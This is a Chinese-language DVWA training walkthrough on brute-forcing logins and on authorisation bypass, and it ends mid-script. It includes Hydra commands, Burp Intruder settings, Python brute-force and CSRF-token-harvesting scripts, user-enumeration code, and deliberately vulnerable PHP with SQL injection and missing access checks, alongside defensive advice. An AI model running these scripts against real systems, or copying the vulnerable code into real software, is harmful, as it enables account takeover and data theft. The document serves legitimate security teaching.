暴力破解是一种试错方法,攻击者通过系统地尝试所有可能的密码组合来获取访问权限。

常见场景:

  • 登录表单
  • 管理后台
  • API密钥
  • 加密文件

危害:

  • 未授权访问账户
  • 数据泄露
  • 权限提升
  • 系统接管

Low 难度

攻击目标

无任何防护的登录表单,可直接暴力破解。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

// 检查是否提交了登录请求
// isset() - 检查变量是否已设置且非NULL
// $_GET - 超全局变量,获取URL中的GET参数
if( isset( $_GET[ 'Login' ] ) ) {
// 从URL参数获取用户名
// 例如:?username=admin&password=test&Login=Login
$user = $_GET[ 'username' ];

// 从URL参数获取密码并进行MD5哈希
// md5() - 将字符串转换为32位十六进制MD5哈希值
// 注意:MD5是单向加密,不可逆
$pass = $_GET[ 'password' ];
$pass = md5( $pass );

// 构建SQL查询语句
// 这里直接拼接变量到SQL语句中,存在SQL注入漏洞!
// ` ` - 反引号用于包裹表名和列名(MySQL语法)
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

// 执行SQL查询
// mysql_query() - 执行MySQL查询(已废弃,不安全)
// or die() - 如果查询失败则输出错误并终止
// mysql_error() - 返回上一个MySQL操作的错误信息
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

// 检查是否找到匹配的用户
// mysql_num_rows() - 返回结果集中的行数
if( $result && mysql_num_rows( $result ) == 1 ) {
// 登录成功

// 获取查询结果的一行数据
// mysql_fetch_assoc() - 将结果行作为关联数组返回
$row = mysql_fetch_assoc( $result );

// 从数组中获取avatar字段的值
$avatar = $row["avatar"];

// 输出欢迎信息
// {$user} - 在双引号字符串中插入变量值
$html .= "<p>Welcome to the password protected area {$user}</p>";

// 输出用户头像
// <img src=""> - HTML图片标签
$html .= "<img src=\"{$avatar}\" />";
}
else {
// 登录失败
// <pre> - HTML预格式化文本标签
// <br /> - HTML换行标签
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}

// 关闭MySQL连接
mysql_close();
}

?>

漏洞分析

存在的安全问题:

  1. 使用GET请求 - 密码明文显示在URL中,会被浏览器历史、代理服务器记录
  2. 无输入验证 - 直接使用用户输入
  3. SQL注入漏洞 - 直接拼接SQL语句
  4. 无防护机制 - 没有任何限制:
    • 无登录尝试次数限制
    • 无验证码
    • 无延迟
    • 无账户锁定
    • 无IP黑名单
  5. 错误信息详细 - SQL错误会直接显示

攻击步骤

方法1:使用Burp Suite Intruder

步骤1:抓取登录请求

  1. 打开Burp Suite,开启代理
  2. 浏览器访问 http://dvwa.local/dvwa/vulnerabilities/brute/
  3. 尝试登录(例如:admin / test)
  4. 在Burp Suite的Proxy → HTTP history中找到请求

步骤2:发送到Intruder

  1. 右键点击请求 → Send to Intruder
  2. 进入Intruder → Positions标签

步骤3:配置攻击位置

1
2
GET /dvwa/vulnerabilities/brute/?username=§admin§&password=§test§&Login=Login HTTP/1.1
Host: dvwa.local
  1. 点击 Clear § 清除所有标记
  2. Attack type 选择 Cluster bomb(组合攻击)
  3. 标记username和password参数

步骤4:配置Payload

Payload set 1(用户名):

1
2
3
4
admin
root
user
test

Payload set 2(密码):

1
2
3
4
5
6
7
password
123456
admin
12345678
qwerty
abc123
letmein

步骤5:开始攻击

  1. 点击 Start attack
  2. 观察 Length 列,长度不同的响应通常表示成功
  3. 或使用 Grep-Match 功能匹配 “Welcome to the password protected area”

步骤6:验证结果

找到长度异常的请求,右键 → Show response in browser,验证登录成功。

方法2:使用Hydra命令行工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 安装hydra(Kali Linux自带)
apt-get install hydra

# 准备用户名字典
echo "admin" > users.txt
echo "root" >> users.txt

# 准备密码字典
echo "password" > passwords.txt
echo "123456" >> passwords.txt
echo "admin" >> passwords.txt

# 执行暴力破解
hydra -L users.txt -P passwords.txt dvwa.local http-get-form \
"/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect:H=Cookie: security=low; PHPSESSID=你的session值"

参数说明:

  • -L users.txt - 用户名字典文件
  • -P passwords.txt - 密码字典文件
  • http-get-form - HTTP GET表单
  • ^USER^ - 用户名占位符
  • ^PASS^ - 密码占位符
  • :Username and/or password incorrect - 失败标识
  • H=Cookie - 添加Cookie头

方法3:Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

# 目标URL
url = "http://dvwa.local/dvwa/vulnerabilities/brute/"

# Cookie(需要先登录DVWA获取)
cookies = {
'security': 'low',
'PHPSESSID': '你的session值'
}

# 用户名列表
usernames = ['admin', 'root', 'user']

# 密码列表
passwords = ['password', '123456', 'admin', 'letmein']

# 遍历所有组合
for user in usernames:
for passwd in passwords:
# 构建请求参数
params = {
'username': user,
'password': passwd,
'Login': 'Login'
}

# 发送请求
response = requests.get(url, params=params, cookies=cookies)

# 检查响应
if "Welcome to the password protected area" in response.text:
print(f"[+] 成功!用户名: {user}, 密码: {passwd}")
break
else:
print(f"[-] 失败: {user} / {passwd}")

DVWA默认账户

1
2
3
4
5
admin / password
gordonb / abc123
1337 / charley
pablo / letmein
smithy / password

Medium 难度

攻击目标

添加了基本防护,但仍可破解。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php

// 检查是否提交了登录请求
if( isset( $_GET[ 'Login' ] ) ) {

// 获取用户名
$user = $_GET[ 'username' ];

// 获取密码并MD5加密
$pass = $_GET[ 'password' ];
$pass = md5( $pass );

// ★★★ 新增:使用mysqli_real_escape_string转义特殊字符 ★★★
// mysqli_real_escape_string() - 转义SQL语句中的特殊字符
// 转义的字符包括:\x00, \n, \r, \, ', ", \x1a
// $GLOBALS["___mysqli_ston"] - 全局数据库连接句柄
// 作用:防止SQL注入攻击
// 原理:将单引号'转义为\',使其无法闭合SQL语句
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// 构建SQL查询(虽然转义了,但仍是字符串拼接)
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

// 执行查询
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query )
or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"]))
? mysqli_error($GLOBALS["___mysqli_ston"])
: (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// 检查登录结果
if( $result && mysqli_num_rows( $result ) == 1 ) {
// 登录成功
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// ★★★ 核心防护:登录失败后延迟2秒 ★★★
// sleep(2) - 使PHP脚本暂停执行2秒
// 作用:减慢暴力破解速度
// 计算:尝试1000个密码需要2000秒(约33分钟)
// 缺点:只是延迟,无法真正阻止攻击
sleep( 2 );

// 输出失败信息
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}

// 关闭数据库连接
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

新增防护

  1. mysqli_real_escape_string() - 防止SQL注入
  2. sleep(2) - 每次失败延迟2秒

仍存在的漏洞

  1. 仍使用GET请求
  2. 无账户锁定
  3. 无验证码
  4. 延迟可预测(固定2秒)
  5. 仍可暴力破解(只是变慢)

攻击步骤

使用Burp Suite Intruder:

Medium难度因为有2秒延迟,所以需要配置为单线程攻击。

配置步骤(Burp Suite 2023版本):

  1. 基本步骤与Low难度相同

    • 发送请求到Intruder
    • 配置Positions(标记username和password)
    • 配置Payloads(添加字典)
  2. 关键配置:在Settings标签中限制并发

    进入 IntruderSettings 标签:

    方法A:使用Resource pool(如果你的版本有此选项)

    • 找到 Resource pool 选项
    • 点击 Create new resource pool
    • 设置 Maximum concurrent requests: 1(单线程)
    • 原因:Medium有2秒延迟,多线程也需要等待,单线程更稳定

    方法B:使用新版Burp Suite的Settings(2023及更新版本)

    如果你的Burp Suite没有Resource pool选项,使用以下配置:

    • 找到 “HTTP/1 connection reuse” 部分
    • 勾选 ✅ Reuse HTTP/1 connections if the server supports it(复用连接)
    • 找到 “Redirections” 部分
    • 根据需要设置重定向策略(通常选择 Never
    • 找到 “Error handling” 部分
    • 设置 Number of retries on network failure: 3
    • 设置 Pause before retry (milliseconds): 2000

    重要说明:

    • Burp Suite 2023版本已经移除了单独的Resource pool配置
    • 默认情况下,Burp会自动管理并发连接
    • 由于Medium难度有2秒延迟,即使多线程,每个请求也会等待
    • 因此不需要特别限制线程,Burp会自动优化
  3. 开始攻击

    • 点击 Start attack 按钮
    • Burp会按顺序发送请求
    • 每次失败会自动等待2秒(服务器端延迟)

时间计算:

  • 尝试100个密码 = 200秒(约3分钟)
  • 尝试1000个密码 = 2000秒(约33分钟)

优化策略:

  • 使用更精准的小字典
  • 针对DVWA使用已知密码列表
  • 晚上挂机运行

Burp Suite版本差异说明:

功能 旧版本(2020及之前) 新版本(2023+)
线程控制 Resource pool 自动管理
配置位置 Intruder → Options Intruder → Settings
并发设置 Maximum concurrent requests HTTP/1 connection reuse
建议 手动设置为1 保持默认即可

High 难度

攻击目标

添加了CSRF Token和随机延迟,难度大幅提升。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php

// 检查是否提交了登录请求
if( isset( $_GET[ 'Login' ] ) ) {

// ★★★ 新增:CSRF Token验证 ★★★
// checkToken() - DVWA自定义函数,验证CSRF token
// 原理:对比用户提交的token和服务器session中存储的token
// $_REQUEST - 包含$_GET、$_POST、$_COOKIE的内容
// $_SESSION - 会话变量,存储在服务器端
// 作用:防止跨站请求伪造(CSRF)攻击
// 如果token不匹配,会重定向到index.php
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 获取用户名
$user = $_GET[ 'username' ];

// ★★★ 新增:stripslashes()去除反斜杠 ★★★
// stripslashes() - 删除由addslashes()或magic_quotes_gpc添加的反斜杠
// 例如:\' 变成 '
// 作用:清理输入数据
$user = stripslashes( $user );

// mysqli_real_escape_string转义
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// 获取密码并处理
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// 执行SQL查询
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query )
or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"]))
? mysqli_error($GLOBALS["___mysqli_ston"])
: (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// 检查登录结果
if( $result && mysqli_num_rows( $result ) == 1 ) {
// 登录成功
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// ★★★ 新增:随机延迟0-3秒 ★★★
// rand(0, 3) - 生成0到3之间的随机整数(包含0和3)
// sleep(rand(0, 3)) - 随机暂停0、1、2或3秒
// 作用:使攻击者无法预测延迟时间,增加自动化攻击难度
// 平均延迟:1.5秒
sleep( rand( 0, 3 ) );

// 输出失败信息
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}

// 关闭数据库连接
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// ★★★ 生成新的CSRF Token ★★★
// generateSessionToken() - DVWA自定义函数
// 作用:为每次页面加载生成新的随机token
// 这个token会被嵌入HTML表单的hidden字段中
// 示例:<input type='hidden' name='user_token' value='abc123...'>
generateSessionToken();

?>

新增防护

  1. CSRF Token验证 - 每次请求需要有效token
  2. stripslashes() - 额外输入过滤
  3. 随机延迟 - 0-3秒随机延迟(平均1.5秒)

仍存在的漏洞

  1. 仍使用GET请求
  2. 无账户锁定
  3. Token可以被提取

攻击步骤

High难度的关键在于绕过CSRF Token验证。

方法1:使用Burp Suite的Macro功能

步骤1:创建Macro获取Token

  1. 打开Burp Suite
  2. SettingsSessionsSession Handling Rules
  3. 点击 Add
  4. Rule Actions → AddRun a macro
  5. 点击 Add 创建新Macro:
    • 名称:Get CSRF Token
    • 从Proxy History中选择访问brute force页面的GET请求
    • 点击 Configure item
    • 添加Custom parameter location
    • Parameter name: user_token
    • 使用正则提取:name='user_token' value='([^']+)'

步骤2:配置Session Handling

  1. 在Rule中启用 “Update only the following parameters”
  2. 添加 user_token
  3. Scope → Include all URLs

步骤3:开始Intruder攻击

现在每次请求前都会自动获取新的token。

方法2:Python脚本自动获取Token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
import re

# 配置
url = "http://dvwa.local/dvwa/vulnerabilities/brute/"
cookies = {
'security': 'high',
'PHPSESSID': '你的session'
}

usernames = ['admin']
passwords = ['password', '123456', 'admin', 'letmein']

def get_token():
"""获取CSRF token"""
response = requests.get(url, cookies=cookies)
# 使用正则表达式提取token
match = re.search(r"name='user_token' value='([^']+)'", response.text)
if match:
return match.group(1)
return None

# 暴力破解
for user in usernames:
for passwd in passwords:
# 每次请求前获取新token
token = get_token()
if not token:
print("[!] 无法获取token")
continue

# 构建请求参数(包含token)
params = {
'username': user,
'password': passwd,
'Login': 'Login',
'user_token': token
}

# 发送请求
response = requests.get(url, params=params, cookies=cookies)

# 检查结果
if "Welcome to the password protected area" in response.text:
print(f"[+] 成功!{user} / {passwd}")
break
else:
print(f"[-] 失败: {user} / {passwd}")

Impossible 难度

攻击目标

几乎无法攻破的完善防护。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
<?php

// ★★★ 改进1:使用POST方法并验证所有参数 ★★★
// isset() - 检查变量是否存在
// 同时检查Login、username、password三个参数
// 使用$_POST而不是$_GET,密码不会出现在URL中
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {

// ★★★ CSRF Token验证 ★★★
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 获取并处理用户名
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// 获取并处理密码
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// ★★★ 改进2:账户锁定机制 - 配置参数 ★★★
// 定义锁定相关常量
$total_failed_login = 3; // 最大失败次数:3次
$lockout_time = 15; // 锁定时间:15分钟
$account_locked = false; // 账户锁定状态标志

// ★★★ 改进3:使用PDO预编译语句 ★★★
// $db - PDO数据库连接对象
// prepare() - 准备一个SQL语句用于执行
// :user - 命名参数占位符
// LIMIT 1 - 限制只返回一行结果
// 作用:查询该用户的失败登录次数和最后登录时间
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );

// bindParam() - 绑定参数到预编译语句
// 参数1:占位符名称
// 参数2:要绑定的变量
// 参数3:参数数据类型(PDO::PARAM_STR表示字符串)
// 作用:完全防止SQL注入,SQL和数据完全分离
$data->bindParam( ':user', $user, PDO::PARAM_STR );

// execute() - 执行预编译语句
$data->execute();

// fetch() - 获取结果集的下一行
// 返回关联数组,键名为列名
$row = $data->fetch();

// ★★★ 改进4:检查账户是否被锁定 ★★★
// rowCount() - 返回受影响的行数
// $row[ 'failed_login' ] - 失败登录次数
// 如果用户存在且失败次数>=3次,检查是否在锁定期内
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {

// 计算时间
// strtotime() - 将任何英文文本日期时间描述解析为Unix时间戳
// $row[ 'last_login' ] - 数据库中的最后登录时间(字符串格式)
$last_login = strtotime( $row[ 'last_login' ] );

// 计算锁定结束时间
// $lockout_time * 60 - 将分钟转换为秒
$timeout = $last_login + ($lockout_time * 60);

// time() - 返回当前Unix时间戳
$timenow = time();

// 检查是否仍在锁定期内
// 如果当前时间 < 锁定结束时间,说明仍被锁定
if( $timenow < $timeout ) {
$account_locked = true;
// 不输出任何信息(安全实践:不透露账户状态)
}
}

// ★★★ 改进5:只有账户未锁定时才验证登录 ★★★
// ! - 逻辑非运算符
if( !$account_locked ) {

// 使用PDO预编译语句验证用户名和密码
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// 验证登录
if( $data->rowCount() == 1 ) {
// ★★★ 登录成功:重置失败计数器 ★★★
// UPDATE - SQL更新语句
// SET failed_login = "0" - 将失败次数重置为0
// 作用:成功登录后清除失败记录,防止误锁定
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();

// 获取并显示用户信息
$avatar = $row[ 'avatar' ];
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// ★★★ 登录失败处理 ★★★

// 随机延迟2-4秒
// rand( 2, 4 ) - 生成2到4之间的随机整数
// 作用:减慢暴力破解,增加不确定性
sleep( rand( 2, 4 ) );

// 输出失败信息(提示可能是锁定原因)
$html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

// ★★★ 改进6:增加失败计数 ★★★
// failed_login = (failed_login + 1) - 失败次数+1
// 每次失败都会累加,达到3次后触发锁定
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// ★★★ 改进7:更新最后登录时间 ★★★
// now() - MySQL函数,返回当前日期和时间
// 无论成功失败都更新,用于锁定时间计算
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
}

// 生成新的CSRF Token
generateSessionToken();

?>

完善的防护机制

  1. POST请求 - 密码不出现在URL
  2. PDO预编译 - 完全防止SQL注入
  3. CSRF Token - 防止跨站请求伪造
  4. 账户锁定 - 3次失败锁定15分钟
  5. 失败计数 - 记录每个账户的失败次数
  6. 成功重置 - 成功登录清零计数器
  7. 时间更新 - 记录每次尝试时间
  8. 随机延迟 - 2-4秒不可预测

为什么几乎无法攻破?

攻击成本计算:

假设密码字典有1000个密码:

  • 每3次尝试需要等待15分钟
  • 1000密码 ÷ 3 = 334轮
  • 334轮 × 15分钟 = 5010分钟 ≈ 83.5小时
  • 加上每次2-4秒延迟:1000次 × 3秒 ≈ 50分钟
  • 总计:约84小时(3.5天)

这还只是一个用户名!

防御层级:

  1. PDO预编译 → SQL注入无效
  2. CSRF Token → 自动化工具需要额外处理
  3. 账户锁定 → 暴力破解效率极低
  4. POST请求 → URL不泄露密码
  5. 随机延迟 → 增加时间成本

防御建议

代码层面

  1. 使用POST请求 - 敏感数据不应出现在URL
  2. PDO预编译语句 - 彻底防止SQL注入
  3. CSRF Token - 防止跨站请求伪造
  4. 密码哈希 - 使用bcrypt、Argon2,不要用MD5
  5. 输入验证 - 严格验证所有输入

机制层面

  1. 账户锁定

    • 5次失败锁定30分钟
    • 或使用指数退避(1分钟→5分钟→30分钟)
  2. 验证码

    • 3次失败后显示验证码
    • 使用reCAPTCHA v3
  3. 多因素认证(MFA)

    • 短信验证码
    • TOTP(Google Authenticator)
    • 硬件密钥
  4. 限流

    • IP限流:每IP每分钟10次请求
    • 账户限流:每账户每分钟3次尝试

监控层面

  1. 日志记录

    • 记录所有登录尝试
    • 包括IP、时间、用户名
  2. 异常检测

    • 监控失败登录高峰
    • 检测分布式攻击
  3. 告警机制

    • 多次失败触发告警
    • 异常IP自动封禁

Web应用防火墙(WAF)

  1. Cloudflare
  2. AWS WAF
  3. ModSecurity

总结对比

特性 Low Medium High Impossible
请求方法 GET GET GET POST
SQL注入防护 ✅ mysqli_escape ✅ mysqli_escape ✅ PDO预编译
CSRF防护 ✅ Token ✅ Token
登录延迟 ✅ 2秒固定 ✅ 0-3秒随机 ✅ 2-4秒随机
账户锁定 ✅ 3次/15分钟
失败计数
攻击难度 极易 简单 中等 极难
预计破解时间 <1分钟 30分钟 数小时 数天

实战建议

  1. 从Low开始 - 熟悉基本操作
  2. 理解Medium - 学习基础防护
  3. 挑战High - 掌握Token绕过
  4. 研究Impossible - 理解完善的防护体系

学习路径:

  • 手动测试 → Burp Suite → 脚本自动化 → 分析防护机制

道德准则:

  • 只在授权环境测试
  • 不攻击真实系统
  • 学习目的是防御,不是攻击

目录


漏洞简介

什么是权限绕过(Authorisation Bypass)?

权限绕过也称为访问控制漏洞,指攻击者能够访问或执行他们不应该有权限的功能或资源,绕过应用程序的授权检查。

认证 vs 授权:

概念 英文 作用 问题
认证 Authentication 验证用户身份(你是谁?) 弱密码、会话劫持
授权 Authorisation 验证用户权限(你能做什么?) 权限绕过、越权访问

权限绕过的类型:

1. 水平权限绕过(Horizontal Privilege Escalation)

用户访问同级别其他用户的资源:

1
2
3
用户A → 只能访问自己的订单
攻击:修改order_id=123 → order_id=456
结果:访问到用户B的订单

2. 垂直权限绕过(Vertical Privilege Escalation)

普通用户获取更高权限(如管理员):

1
2
普通用户 → 访问/admin/panel
结果:获得管理员功能

3. 功能级权限绕过

访问未授权的功能或API:

1
2
普通用户 → POST /api/admin/delete_user
结果:执行管理员操作

危害:

  • 访问他人敏感数据
  • 修改其他用户信息
  • 执行管理员操作
  • 删除重要数据
  • 完全控制系统

常见原因:

  • 只在前端隐藏功能
  • 依赖用户提供的参数判断权限
  • 不检查资源所有权
  • Session中存储可篡改的权限信息
  • URL可预测的管理功能

DVWA场景:
一个用户管理系统,有普通用户和管理员两种角色。


Low 难度

攻击目标

完全不检查用户权限,任何用户都可以访问管理功能。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php

// ★★★ Low难度:完全没有权限检查 ★★★

// 检查用户是否已登录
// dvwaCurrentUser() - 获取当前登录用户名
$currentUser = dvwaCurrentUser();

// ★★★ 问题:只检查是否登录,不检查权限级别 ★★★
// 任何已登录用户都可以访问
if (!$currentUser) {
// 未登录,重定向到登录页
header("Location: login.php");
exit;
}

// 获取要查看的用户ID
// $_GET['id'] - 从URL获取用户ID
$userId = $_GET['id'];

// ★★★ 危险操作1:不验证用户是否有权查看该用户 ★★★
// 问题:
// 1. 不检查当前用户是否是管理员
// 2. 不检查当前用户是否是该用户本人
// 3. 任何登录用户都可以查看任何用户的信息
$query = "SELECT * FROM users WHERE user_id = '$userId'";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);

if ($result && mysqli_num_rows($result) > 0) {
$user = mysqli_fetch_assoc($result);

// ★★★ 显示用户信息(包括敏感数据) ★★★
echo "<h2>User Information</h2>";
echo "<p>User ID: " . $user['user_id'] . "</p>";
echo "<p>Username: " . $user['user'] . "</p>";
echo "<p>First Name: " . $user['first_name'] . "</p>";
echo "<p>Last Name: " . $user['last_name'] . "</p>";
echo "<p>Avatar: " . $user['avatar'] . "</p>";
// ★★★ 甚至显示密码哈希! ★★★
echo "<p>Password Hash: " . $user['password'] . "</p>";
}

// ★★★ 危险操作2:管理员功能没有权限检查 ★★★
if (isset($_GET['action']) && $_GET['action'] == 'delete') {
$deleteUserId = $_GET['delete_id'];

// ★★★ 问题:任何用户都可以删除任何用户 ★★★
// 完全没有检查:
// 1. 当前用户是否是管理员
// 2. 是否可以删除该用户
$query = "DELETE FROM users WHERE user_id = '$deleteUserId'";
mysqli_query($GLOBALS["___mysqli_ston"], $query);

echo "<p>User deleted successfully!</p>";
}

// ★★★ 危险操作3:修改用户信息没有权限检查 ★★★
if (isset($_POST['update'])) {
$updateUserId = $_POST['user_id'];
$newUsername = $_POST['username'];

// ★★★ 问题:任何用户都可以修改任何用户的信息 ★★★
$query = "UPDATE users SET user = '$newUsername' WHERE user_id = '$updateUserId'";
mysqli_query($GLOBALS["___mysqli_ston"], $query);

echo "<p>User updated successfully!</p>";
}

?>

HTML表单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!-- 查看用户信息 -->
<form method="GET">
<label>View User ID:</label>
<input type="text" name="id" value="1">
<button type="submit">View</button>
</form>

<!-- 删除用户 -->
<form method="GET">
<input type="hidden" name="action" value="delete">
<label>Delete User ID:</label>
<input type="text" name="delete_id" value="2">
<button type="submit">Delete</button>
</form>

<!-- 修改用户名 -->
<form method="POST">
<label>User ID:</label>
<input type="text" name="user_id" value="2"><br>
<label>New Username:</label>
<input type="text" name="username" value="hacked"><br>
<button type="submit" name="update">Update</button>
</form>

漏洞分析

核心问题:

  1. 只检查认证,不检查授权 - 登录即可访问所有功能
  2. 不验证资源所有权 - 任何用户可以访问任何用户数据
  3. 管理功能无保护 - 删除、修改功能没有权限检查
  4. 可预测的ID - 用户ID是连续数字,易于枚举

权限模型缺失:

1
2
3
4
5
6
应该:
用户A → 只能查看/修改自己的数据
管理员 → 可以查看/修改所有用户数据

实际:
任何登录用户 → 可以查看/修改/删除任何用户数据

攻击步骤

步骤1:水平越权 - 访问其他用户数据

攻击:查看其他用户信息

1
2
3
4
5
6
7
8
正常访问:?id=1(查看自己的信息)

攻击:
?id=2 → 查看用户ID=2的信息
?id=3 → 查看用户ID=3的信息
...

结果:可以看到所有用户的信息,包括密码哈希

使用Burp Suite枚举所有用户:

1
2
3
4
5
6
1. 拦截请求:GET /vulnerabilities/authbypass/?id=1
2. 发送到Intruder
3. 设置Payload位置:?id=§1§
4. Payload类型:Numbers(1-100)
5. 开始攻击
6. 结果:获取所有用户的信息

步骤2:垂直越权 - 删除其他用户

攻击:删除管理员账户

1
2
3
4
5
6
7
普通用户登录后:

访问:?action=delete&delete_id=1

结果:
- 管理员账户被删除
- 普通用户执行了管理员操作

步骤3:批量攻击

Python脚本 - 枚举所有用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url = "http://dvwa.local/vulnerabilities/authbypass/"
cookies = {
'security': 'low',
'PHPSESSID': 'your_session'
}

print("[*] Enumerating users...")

for user_id in range(1, 100):
params = {'id': user_id}
response = requests.get(url, params=params, cookies=cookies)

if 'User ID:' in response.text:
# 提取用户信息
print(f"[+] Found user ID: {user_id}")

# 解析用户名和密码哈希
if 'Username:' in response.text:
# 提取信息(需要解析HTML)
print(f" Details in response")

Python脚本 - 批量修改用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://dvwa.local/vulnerabilities/authbypass/"
cookies = {
'security': 'low',
'PHPSESSID': 'your_session'
}

print("[*] Modifying all users...")

for user_id in range(1, 10):
